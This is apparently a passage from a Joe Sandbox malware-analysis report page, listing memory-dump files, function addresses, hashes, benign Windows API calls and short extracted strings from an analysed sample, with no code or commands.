Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Owk$S^_$bUo
API String ID: 0-2349455878
Opcode ID: cdcb08a4d09123af76fac1625d34fba234aaf9a68814532e950c445b577d5171
Instruction ID: 85dca4de586471928ea2e2cc8ca72aaede5fe572878f633f884907c5afd57b80
Opcode Fuzzy Hash: cdcb08a4d09123af76fac1625d34fba234aaf9a68814532e950c445b577d5171
Instruction Fuzzy Hash: 8BB208F3A082049FE304AE2DEC8567AFBE9EF94720F1A453DE6C4D3744E63598058697

Function 01013720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0101E118,00000000,00000001,0101E108,00000000), ref: 01013758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 010137B0

Memory Dump Source

Source File: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 47ffcb4e74386ccd04f8d7fa096ab2b175255c536a2016891e72a0ef228a3f5b
Instruction ID: 7f92b8bb95c06ca9a372be9fc055a1ef10e2c40b8cc1cbe940197c0cad6fde46
Opcode Fuzzy Hash: 47ffcb4e74386ccd04f8d7fa096ab2b175255c536a2016891e72a0ef228a3f5b
Instruction Fuzzy Hash: 7B410974A40A289FDB24DB58CC95BDBB7B4BB48702F4041D8E609AB2D4D7716EC5CF50

Function 013CEDE0 Relevance: 4.1, Strings: 2, Instructions: 1616COMMON

Download Yara Rule

Strings

Ac~y, xrefs: 013CFB3A
:g, xrefs: 013CF2BB

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: :g$Ac~y
API String ID: 0-3292470888
Opcode ID: 47752f70e828853ba8554ee8f93bcc6dc6452812e70d2cd6f2c16e97a21e897f
Instruction ID: 9f62f2962e37e81d7ae6f2c251de993971b9b1fd364b6080624d52674b3d8432
Opcode Fuzzy Hash: 47752f70e828853ba8554ee8f93bcc6dc6452812e70d2cd6f2c16e97a21e897f
Instruction Fuzzy Hash: E5B238F3A0C204AFE3046E2DEC8577ABBE5EF94720F1A493DE6C5C7744EA3558058686

Function 013C6E92 Relevance: 3.7, Strings: 2, Instructions: 1214COMMON

Download Yara Rule

Strings

Y=G, xrefs: 013C7106
0ekB, xrefs: 013C77CD

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 0ekB$Y=G
API String ID: 0-1906457391
Opcode ID: 0f178a1c5b694f01813a99e4a886d0a4a7e8894869bb85e20dbe222061bda7a1
Instruction ID: 09956f32a0de742b4af2aa4346b3e9aa9a953267a93689aef91a3b1f0c04472c
Opcode Fuzzy Hash: 0f178a1c5b694f01813a99e4a886d0a4a7e8894869bb85e20dbe222061bda7a1
Instruction Fuzzy Hash: 3D82E4F36082009FE304AE29EC8567AF7E5EF94720F1A893DEAC4C7744E63599058797

Function 013CCA54 Relevance: 2.7, Strings: 2, Instructions: 244COMMON

Download Yara Rule

Strings

Q6W6, xrefs: 013CCCB9
<"vw, xrefs: 013CCB8D

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <"vw$Q6W6
API String ID: 0-1368833024
Opcode ID: 7ce8046f7d3dddca3f7716051689c0b9ad5de1b222053bebfeac6dc1e459dc4a
Instruction ID: 82896dc48e252a69d5a1c970a39e4bf5a03113940a8b6469f7a24d7f63139a4a
Opcode Fuzzy Hash: 7ce8046f7d3dddca3f7716051689c0b9ad5de1b222053bebfeac6dc1e459dc4a
Instruction Fuzzy Hash: 3E71C3B360C6109FD3046F29EC9577AFBE8EF84720F16092DEAC497744DA3558418B97

Function 012A70EF Relevance: 2.7, Strings: 2, Instructions: 201COMMON

Download Yara Rule

Strings

jg_, xrefs: 012A7340
*0zo, xrefs: 012A72B3

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *0zo$jg_
API String ID: 0-1479537126
Opcode ID: 4f47d2bbb7c4e0b11d4b08ff42c96e5bc59b66fc0f0198aa87443d722ec027f3
Instruction ID: 6caca22fa2ae0cb6bd9b16fca2735e761ab1d421d147d06f7ca5591f72cc8f7e
Opcode Fuzzy Hash: 4f47d2bbb7c4e0b11d4b08ff42c96e5bc59b66fc0f0198aa87443d722ec027f3
Instruction Fuzzy Hash: 15513BF3A096004FE3046A2DED4976ABBD6DBD4720F2B463DD6D8877C0E97994098286

Function 013CAA1D Relevance: 1.9, Strings: 1, Instructions: 638COMMON

Download Yara Rule

Strings

Zyn, xrefs: 013CB01E

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Zyn
API String ID: 0-511911152
Opcode ID: 94fa24d1f79e3b033bcd66b5459a6b4bdf0b2f27af03fc50668d30e7106c1fff
Instruction ID: 2e874f3ea9cb735a6b0f1175daa3a136b9e8c1161d9f0928cba62eb7429f43f6
Opcode Fuzzy Hash: 94fa24d1f79e3b033bcd66b5459a6b4bdf0b2f27af03fc50668d30e7106c1fff
Instruction Fuzzy Hash: 6712E1F3508204AFE7046F69EC8567AFBE9EF94720F16492DE6C4C7740EA3598408B83

Function 01441AC2 Relevance: 1.5, Strings: 1, Instructions: 222COMMON

Download Yara Rule

Strings

HAfs, xrefs: 01441DA0

Memory Dump Source

Source File: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID: HAfs
API String ID: 0-4095190174
Opcode ID: b1093939a6da0cd6bf02c5619097cebc9e2c5fb09c4fbe05894daa7492e376d0
Instruction ID: 0ac73097b36b89a8aa6da0e37fb8663387451950131a0c4ccac82b3b2d6a5357
Opcode Fuzzy Hash: b1093939a6da0cd6bf02c5619097cebc9e2c5fb09c4fbe05894daa7492e376d0
Instruction Fuzzy Hash: 8161E4F250C708DBE304BE28DD4563AF7E9EB54B10F16482EE6C587350EA3178868797

Function 01313DB6 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000013DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992683540.00000000014F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992936803.00000000014F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993179638.000000000168D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1993204468.000000000168E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e525ae9308fa71d9ddb827cbe5e8ca5de58722a0ddcdfb56e3361ec6372b860
Instruction ID: 9bc3a8188152911df691c728e64a2c30c34a41eaafa5dd76bf29f489e87c7625
Opcode Fuzzy Hash: 6e525ae9308fa71d9ddb827cbe5e8ca5de58722a0ddcdfb56e3361ec6372b860
Instruction Fuzzy Hash: D171F4F3D092105BF3005E29DC8476BB6DAEF94720F2A863DEA88A3784D97A5C0147D6

Function 012AC1B9 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1992683540.000000000125E000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1992284275.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1992313367.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
